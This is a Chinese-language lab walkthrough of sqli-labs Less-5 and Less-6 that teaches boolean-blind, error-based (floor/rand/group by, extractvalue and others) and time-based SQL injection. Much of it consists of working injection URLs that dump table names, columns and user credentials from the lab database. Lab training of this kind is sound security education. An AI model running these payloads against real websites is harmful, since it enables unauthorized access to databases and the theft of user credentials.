Sqli-labs之Less-5和Less-6

      这两关正确的思路是盲注。从源代码中可以看到，运行返回结果正确的时候只返回 you are in....，不会返回数据库当中的信息了(但会print_f(mysql_error())，这点很重要)，所以我们不能利用前面 less1-4 的方法。

我们对比下less-4和less-5的源码：

我们从这两关开始学习盲注。结合 第二部分：2.盲注的讲解 的信息，来展示盲注的使用方法。

                                               Less-5   ===>盲注

GET-双注入-单引号-字符串

1.正常输入ID=1看返回的结果，发现不在显示数据库的信息了（就是name和password信息）：

2.我们可以分别尝试将 ?id=1    ？id=1'   ?id=1"  添加到url中，进行测试，但我们有了Less 1-4的经验这一步可直接省略，通过题意来简化我们解题的步骤，通过题意我们了解首先这是单引号字符串闭合的问题。至于双注入是双查询注入，这里我们先利用盲注来做，最后介绍双查询注入方法来解题。

3.利用 left(version(),1)进行尝试，查看一下 version()，数据库的版本号为 5.5.47，这里的语句的意思是看版本号的第一位是不是 5，明显的返回的结果是正确的。

http://192.168.33.1/sqli/Less-5/?id=1' and left(version(),1)=5 -- #

查看后台数据库进行验证：

当版本号不正确的时候，则不能正确显示 you are in...... 

 （提示：它这不是报错，它跟报错不一样，left(version(),1)=5时为true, left(version(),1)=6时为flase,以下面的两张图为例就能理解）

4.接下来看一下数据库的长度，长度为 8 时，返回正确结果，说明长度为 8.

http://192.168.33.1/sqli/Less-5/?id=1' and length(database())=8 -- #

否则报错：

5.猜测数据库第一位

http://192.168.33.1/sqli/Less-5/?id=1' and left(database(),1)>'a' -- #

我们知道后台数据库Database()为 security，所以我们看他的第一位是否 > a,很明显的是 s > a,因此返回正确。当我们不知情的情况下，可以用二分法来提高注入的效率。(注：他们的大小比较的是ASCII码的大小)----（二分法不会的可自行百度，并不难理解）

http://192.168.33.1/sqli/Less-5/?id=1' and left(database(),2)>'sa' -- #

接下来就继续猜测第三位，第四位。。。

6.利用 substr() ascii()函数进行尝试

ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))=101
根据以上得知数据库名为 security，那我们利用此方式获取 security 数据库下的表。
获取 security 数据库的第一个表的第一个字符。（注：ASCII码 101-E   80-@）

http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database()limit 0,1),1,1))>80-- #

所以第一个表的第一个字符为e

对比后台数据库：

Ps：此处 table_schema 可以写成 ='security'，但是我们这里使用的 database()，是因为此处 database()就是 security。此处同样的使用二分法进行测试，直到测试正确为止。此处应该是 101，因为第一个表为 emails。

7.如何获取第一个表的第二位字符呢？
这里我们已经了解了 substr()函数，这里使用 substr(**,2,1)即可。（ASCII码中108是l,109是m）

http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),2,1))>108-- #

所以第一个表第二个字符是m

那如何获取第二个表呢？思考一下！
这里可以看到我们上述的语句中使用的 limit 0,1. 意思就是从第 0 个开始，获取第一个。那
要获取第二个是不是就是 limit 1,1！   （ASCII码中113是q,114是r）

http://192.168.33.1/sqli/Less-5/?id=1' and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1))>113-- #

所以第二个表第一个字符为r

此处 113 返回是正确的，因为第二个表示 referers 表，所以第一位就是 r.
以后的过程就是不断的重复上面的，这里就不重复造轮子了。原理已经解释清楚了。
当你按照方法运行结束后，就可以获取到所有的表的名字。

8.当我们获得了users表后，我们可以利用 regexp 获取security数据库中 users 表中的列

http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^usern[a-z]' limit 0,1)-- #

上述语句是选择 users 表中的列名是否有 us**的列

这里通过源码的users表来清晰的理解下面的步骤：

http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^username' limit 0,1)-- #

上图中可以看到 username 存在。我们可以将 username 换成 password 等其他的项也是正确的。

http://192.168.33.1/sqli/Less-5/?id=1' and 1=(select 1 from information_schema.columns where table_name='users' and column_name regexp '^password' limit 0,1)-- #

9.利用 ord（）和 mid（）函数获取 users 表的内容   （68对应ASCII码表为D，0x20对应ASCII码为空格，u是117）

http://192.168.33.1/sqli/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))=68-- #

获取 users 表中的内容。获取 username 中的第一行的第一个字符的 ascii，与 68 进行比较，即为 D。而我们从表中得知第一行的数据为 Dumb，然后在修改语句获取password,所以接下来只需要重复造轮子即可，这样我们就能通过布尔盲注获取到了用户名和密码。
总结：以上 1-9 我们通过使用不同的语句，将通过布尔盲注 SQL 的所有的 payload 进行演示了一次。想必通过实例更能够对 sql 布尔盲注语句熟悉和理解了。

      获取username中的第一行的第二个字符的ascii，与117比较即为u。

http://192.168.33.1/sqli/Less-5/?id=1' and ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),2,1))=117-- #

注：这里简单介绍下mysql函数：

IFNULL() 函数     

语法：IFNULL(expression, alt_value)

IFNULL() 函数用于判断第一个表达式是否为 NULL，如果为 NULL 则返回第二个参数的值，如果不为 NULL 则返回第一个参数的值。所以上面的语句就是 CAST(username AS CHAR) 的值不为null,就输出，为null就输出0x20，而0x20又是空格。

cast() 函数-----类型转换

语法：CAST(value as type);

获取一个类型的值，并产生另一个类型的值。上面的语句就是获取username类型的值并转换为char类型

更多具体使用方法自行百度学习。

 

==========================  我是分割线   ==============================

接下来，我们演示一下报错注入和延时注入。相对于布尔盲注需要掌握的知识点较多，作为初学者建议会上面布尔盲注即可，等把Sqli-labes的65道题做完再来研究这。

需要掌握的前提知识：

0x3a对应ASCII码为 ： （冒号）        0x7e对应ASCII码为 ~

mysql函数：

floor()    向下取整     floor函数返回小于等于该值的最大整数.

rand()   rand(N)   rand函数调用可以在0和1之间产生一个随机数

返回在范围0到1.0内的随机浮点值。
如果一个整数参数N被指定，它被用作种子值。---------对于这个还是不太了解，百度了一下，没有找到能很好解释的。
每个种子产生的随机数序列是不同的

下面只是简单的说下报错和延时注入，我会在后期专门讲解下报错注入和延时注入：

留个空占个位：请看： xxxxxxxx-----待补充

1.首先使用报错注入

http://192.168.33.1/sqli/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a-- #

或者这样写（更容易理解点，本文后面讲到双查询注入会解释该语句的意思与原理）：

http://192.168.33.1/sqli/Less-5/?id=1' union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2)) as a from information_schema.columns group by a-- #

2.利用 double 数值类型超出范围进行报错注入

http://192.168.33.1/sqli/Less-5/?id=1' union select (exp(~(select * FROM (SELECT USER())a))),2,3-- #

3.利用 bigint 溢出进行报错注入

http://192.168.33.1/sqli/Less-5/?id=1' union select (!(select * from (select user())x)-~0),2,3-- #

4.xpath 函数报错注入

http://192.168.33.1/sqli/Less-5/?id=1' and extractvalue(1,concat(0x7e,(select @@version),0x7e))-- #

5.利用数据的重复性

http://192.168.33.1/sqli/Less-5/?id=1' union select 1,2,3 from (select NAME_CONST(version(),1),NAME_CONST(version(),1))x-- #

 

延时注入

115--->ASCII码：s

BENCHMARK()函数

1. BENCHMARK(count,expr)   
2. BENCHMARK()函数重复countTimes次执行表达式expr，它可以用于计时MySQL处理表达式有多快。结果值总是0。意欲用于mysql客户，它报告查询的执行时间。   
3. 

报告的时间是客户端的经过时间，不是在服务器端的CPU时间。执行BENCHMARK()若干次可能是明智的，并且注意服务器机器的负载有多重来解释结果

encode()函数

ENCODE(str, pass_str)：该函数使用pass_str作为密码来加密字符串str，其加密的结果可以通过DECODE()函数来解密。该函数返回的结果是一个同str等长。DECODE(crypt_str, pass_str)：该函数使用pass_str作为密码来解密使用ENCODE()加密后的字符串crypt_str。

 

1.利用 sleep()函数进行注入--（正确页面无明显延迟，错误有明显的延迟）

http://192.168.33.1/sqli/Less-5/?id=1' and If(ascii(substr(database(),1,1))=115,1,sleep(5))-- #

当错误的时候会有 5 秒的时间延时:

2.利用 BENCHMARK()进行延时注入------这个比较难理解，需要mysql知识点较多，已触及知识盲区，想了解自行解决，反正我是不行了。

http://192.168.33.1/sqli/Less-5/?id=1' UNION SELECT (IF(SUBSTRING(current,1,1)=CHAR(115),BENCHMARK(50000000,ENCODE('MSG','by 5 seconds')),null)),2,3 FROM (select database() as current) as tb1-- #

当结果正确的时候，运行 ENCODE('MSG','by 5 seconds')操作 50000000 次，会占用一段时间。

至此，我们已经将上述讲到的盲注的利用方法全部在 less5 中演示了一次，在后面的关卡中我们会选择其中的一种进行解题。

 

                                                         Less-6   ===>盲注

GET- 双注入-双引号-字符串

根据题意可知，Less-6有双引号闭合的问题，Less-6与Less-5是有联系的，解题步骤与Less-5类似，只需把Less-5里的 ?id=1' 改成 ?id=1" 其余操作不变。

这里演示其中的一个（猜数据库的长度为8，返回正确结果，说明数据库长度为8）：

当然我们可以看下后台Less-6的源代码：

 

=================我是华丽的分割线================

                                              双查询注入

以下有的小知识点会重复是为了加强记忆：

参考文章：https://blog.csdn.net/Leep0rt/article/details/78556440#commentBox

                 https://www.jianshu.com/p/8a38d2371b9c

在此之前，我们理解一下子查询，查询的关键字是select，这个大家都知道。子查询可以简单的理解在一个select语句里还有一个select。里面的这个select语句就是子查询。

看一个简单的例子：
select concat((select database()));

真正执行的时候，先从子查询进行。因此执行select database() 这个语句就会把当前的数据库查出来，然后把结果传入到concat函数。这个函数是用来连接的。比如 concat(‘a’,’b’)那结果就是ab了。

原理：

双注入查询需要理解四个函数/语句

1. rand() //随机函数

2. floor() //取整函数

3. count() //汇总函数 ：返回匹配指定条件的行数。

4. group by clause //分组语句  ：常用于结合合计函数，根据一个或多个列对结果集进行分组。

如有这样一个表：

customer	price
alice	2300
charlie	4000
alice	700
bob	1600
bob	400

select customer,sum(price) from orders group by customer

得到的结果就是：

customer	price
alice	3000
charlie	4000
bob	2000

如果没加group by，结果就有了重复项：

customer	price
alice	3000
charlie	4000
alice	3000
bob	2000
bob	2000

简单的一句话原理就是有研究人员发现，有研究人员发现，当在一个聚合函数，比如count函数后面如果使用分组语句就会把查询的一部分以错误的形式显示出来。（重点在于两个条件：1.聚合函数 2.group by 分组语句）

这里以Sqli-labs环境里的security数据库为例。

1.我们测试一下concat的用法。输入select concat('string1','string2');

显然结果就是string1string2了

2.测试rand()函数，多执行几次

可以看到，这个函数就是返回大于0，小于1之间的数。

2.测试floor()函数，多执行几次

这个函数就是返回小于等于你输入的数的整数。

然后我们看看双注入查询中的一个简单组合:select floor(rand()*2);

我们从里向外看。rand() 返回大于0小于1的小数，乘以2之后就成了小于0小于2了。然后对结果进行取整。就只能是0或1了。也就是这个查询的结果不是1，就是0

加大一点难度。看这个查询：SELECT CONCAT((SELECT database()), FLOOR(RAND()*2));

   

  先看最里面的SELECT database() 这个就返回数据库名，这里就是security了。然后FLOOR(RAND()*2)这个上面说过了。不是0，就是1.然后把这两个的结果进行concat连接，那么结果不是security0就是security1了。

      如果我们把这条语句后面加上from 一个表名。那么一般会返回security0或security1的一个集合。数目是由表本身有几条结果决定的。比如一个管理表里有5个管理员。这个就会返回五条记录，这里users表里有13个用户，所以返回了13条

如果是从information_schema.schemata里，这个表里包含了mysql的所有数据库名。这里本机有8个数据库。所以会返回8个结果

 

3.现在我们准备加上Group By 语句了。
我们使用information_schema.tables 或 information_schema.columns这两个表来查询。因为表里面一般数据很多。容易生成很多的随机值，不至于全部是security0，这样就不能查询出结果了。

select concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

解释：我们把concat((select database()), floor(rand()*2)) 这个结果取了一个别名 a ，然后使用他进行分组。这样相同的security0分到一组，security1分到一组。就剩下两个结果了。

       as也可以省略，不影响结果

注意这里的database()还可以替换成任何你想查的函数，比如version(), user(), @@datadir或者其他的查询。比如查表啊。查列啊。原理都是一样的。

最后的亮点来了。。

我们输入这条：注意多了一个聚合函数count(*)

select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

报错了

ERROR 1062 (23000): Duplicate entry 'security1' for key ‘group_key’

翻译：错误1062（23000）：密钥“ group_key”的条目“ security1”重复

重复的键值 可以看到security就是我们的查询结果了。

而上面Less-5的报错注入语句，我们也就理解了为什么要这么写了：

接下来想要查询数据库版本就这样：

select count(*), concat((select version()), floor(rand()*2)) as a from information_schema.tables group by a;

看看替换了database()为version()

再看一个

select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a;

报错

ERROR 1062 (23000): Duplicate entry '~root@localhost~1' for key 'group_key'

这里的~这个符号只是为了让结果更清晰。（注意如果在url注入语句中, ~符号要换成 ASCII码表里的16进制，也就是0x7e）

 

这里还有一个比较复杂的。叫做派生表。需要使用

select 1 from (table name); 这样的语法来报错，具体就是

select 1 from (select count(*), concat('~',(select user()),'~', floor(rand()*2))as a from information_schema.tables group by a)x;

ERROR 1062 (23000): Duplicate entry '~root@localhost~0' for key 'group_key'

来报错。

    这里还要说一下的是在mysql数据库中查找这样的语句返回的结果略微的不一样，返回的结果有这两种，且都是随机的，不是报错的结果就是不报错的结果，至于为什么这样，与 floor()和rand()有很大的关系

可以参考这两篇文章来进行理解：（当然也可以跳过，下面还会讲到，在下面你就会对这个有清晰的认识了）

https://bbs.ichunqiu.com/thread-53023-1-1.html

https://www.cnblogs.com/xdans/p/5412468.html#    

PS：从上面的知识中，我们可以了解到，所谓的双查询注入不就是基于报错的 SQL 盲注嘛，原来如此。。。

======================华丽的分割线，又来啦=====================

注入过程:

http://192.168.33.1/sqli/Less-5/?id=1
http://192.168.33.1/sqli/Less-5/?id=1'
http://192.168.33.1/sqli/Less-5/?id=1"

第一、第三条正常，且无回显；第二条报错：字符型双注入。

http://192.168.33.1/sqli/Less-5/?id=1' order by 3-- #

http://192.168.33.1/sqli/Less-5/?id=1' order by 4-- #

得出共3个字段。

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,2,3-- #

无回显，即不需要看到哪几个字段显示。

通过联合查询，得出数据库名：security：

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat((select database()),0x7e,floor(rand()*2)) as a from information_schema.tables group by a--+

注意使用concat_ws和concat由于存在随机性的的问题，结果可能会报错也可能不报错，如果没报错要多试几次，要特别注意不要没报错就多次点击HackBack的按钮进行尝试，结果没任何变化，要这样改改代码，比如把0x7e改成0x3a啊这种然后在点击按钮提交，如果报错了就能查看到数据库，如果没有改回原来的0x7e或者继续改其他的，随机性嘛，总归几次就出来了。

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select database()),floor(rand()*2)) as a from information_schema.tables group by a-- #

 

MYSQL的group_concat函数

函数作用

用到group by时， 能将相同的行组合起来。

函数语法

group_concat( [DISTINCT] 要连接的字段 [Order BY 排序字段 ASC/DESC] [Separator '分隔符'] )

例子

比如我们有一个商品规格表，我想在后台看到不同种类的商品都有哪些规格，id代表商品种类，spec代表商品规格

商品规格表

id  |  spec  
1   |  黄色  
1   |  绿色
3   |  100g 
3   |  60g
4   |  38m

那么我们就可以这么写
以id分组，把spec字段的值打印在一行，按照spec倒序排列

select id,group_concat(spec order by spec DESC) from 规格表 group by id;  
|1 | 黄色,绿色|
|3 | 60g,100g|
|4 | 38m|

默认是以逗号分隔，我们也可以改成分号

select id,group_concat(spec separator ';') from 规格表 group by id;  
|1 | 黄色;绿色|
|3 | 60g;100g|
|4 | 38m|

一般简单写法：select id,group_concat(spec ) from 规格表 group by id;

补充：

还可以用distinct去掉重复的数值，也可以多个字段拼接

---

---

通过group_concat()函数将查到的表名连接并返回报错，得出表名：users

http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(table_name) from information_schema.tables where table_schema='security'),floor(rand()*2)) as a from information_schema.tables group by a--+

PS：在这里利用group_concat()函数报错来得出数据库，在这一步我相信有很大一部分的结果和我一样是不报错的，数据返回正常，上图我是截取别人的图，而且经过测试，只要利用到group_concat()函数都不会报错了，这不仅仅是随机性的问题了，我们来看一下我的图：

至于原理可以看上面给的两篇链接文章，要是觉得内容多，就简单的说下，不一定对，在上面我们可以看到报错型注入是有一定的随机性的那么我们可以多尝试几次就可以使其报错，当涉及到group_concat()函数时，还得满足另外的一个条件，我们看下其他战友的解释：

这一个咋一看感觉蛮对的，但在另一篇文章中提到：（这里截部分图）

这一对比，发现上面的战友说的不够严谨，看到这里是不是感觉脑袋很乱，为此我又查了多方资料发现：这条关键句：

报错需要count(*)，rand()、group by，三者缺一不可。  然后我测试一下修改语句，撤掉group_concat()函数，成功报错，博客地址来源：https://www.cnblogs.com/xishaonian/p/6227405.html  一会后面再讲解，到这我先把另一位博主利用group_concat()函数做出来的截图截图截出来，作为参考，当我个人不建议使用，看看就好。

同样的方法，得出字段名：id、username、password

http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select group_concat(column_name) from information_schema.columns where table_name='users'),floor(rand()*2)) as a from information_schema.tables group by a--+

最后是用户信息，因为这里只能查询一行，所以不能用group_concat()，可以修改limit的范围来遍历用户信息。

http://localhost:8088/sqlilabs/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2)) as a from information_schema.columns group by a--+

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1,count(*),concat_ws('-',(select concat_ws('-',id,username,password) from users limit 0,1),floor(rand()*2))as a from information_schema.tables group by a -- # 

上面的语句虽然不是很复杂但涉及到group_concat()函数，通用性不高，在机缘巧合的情况下，发现了另外一篇博客，不使用group_concat()函数，只利用count(*)，rand()、group by写的语句很精炼，实际上就是

使用 concat()函数和limit x,1 代替group_concat()函数，对爆出的数据进行限制，让他们一个一个的爆出。具体看Sqli-labs之Less-5的补充

重大发现：

机缘巧合下想在Less-1试试group_concat()函数，发现竟然成功了：

然后在数据库查询：

初步猜测与count(*)有关系，去掉count(*):

发现，并不是count(*)的关系，于是想到Less-1与Less的区别在于Less-5不显示数据库的用户名和密码信息，而我们通过order by 3知道有3个字段（列），其中第2个和第3个可以进行注入，再有上面的图进行对比，那么我们是否可以得出这样的结论，group_count()函数是需要一个字段来显示信息的，至于细节，还是不太懂。（而且与rand（0）*2所谓的3条记录无任何影响，上面的语句利用rand（0）*2结果是一样的，也就是说，只要有一个字段可以在页面显现，利用group_concat就能把结果显示出来）

而且我们发现这查询语句似乎不是报错，而是正常查出来的结果，可我们利用的是floor()函数报错啊？于是利用：Sqli-labs之Less-5的补充这篇博客里用到的方法：

发现这种写法才是利用floor()函数报错来爆出我们想要的数据，而我们利用group_concat()函数与floor()函数的结合更像是正常的查询字段信息，可问题是别人却成功了，真是无解啊〒△〒 这里只为做记录，希望以后的自己能够解决该问题，也留给大家作为参考。

===========================分割线又又来啦===================

好，上面就是另外一个博主做的，接下来我们使用我们的方法来做（下面的语句较复杂，仅供参考）(补：这里涉及到了5个select，可以参考子查询注入，在Less-17中会讲到这些知识，主要涉及子查询与派生表知识，想提前了解的自行解决。语句蛮绕的，要细心点才行。)：

爆数据库版本：

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #

爆库

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #

暴表

http://192.168.33.1/sqli/Less-5/?id=-1' union (select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 3,1)) 
from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)-- #

（PS：使用 DISTINCT 可以排除重复值。-------在该环境下，用不用并不影响结果。）

暴字段

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_schema=database() and table_name=0x7573657273 LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #

暴内容

http://192.168.33.1/sqli/Less-5/?id=-1' union select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM users limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a-- #

呼，报错注入总于告一段落了，很多人把上面的报错注入叫做floor报错注入，而这还只是报错注入函数的其中一种，盲注，竟恐怖如斯，看来是时候把 学习mysql 早早提上日程了，太难了。。。。

PS：Less-6同理，自己去尝试吧。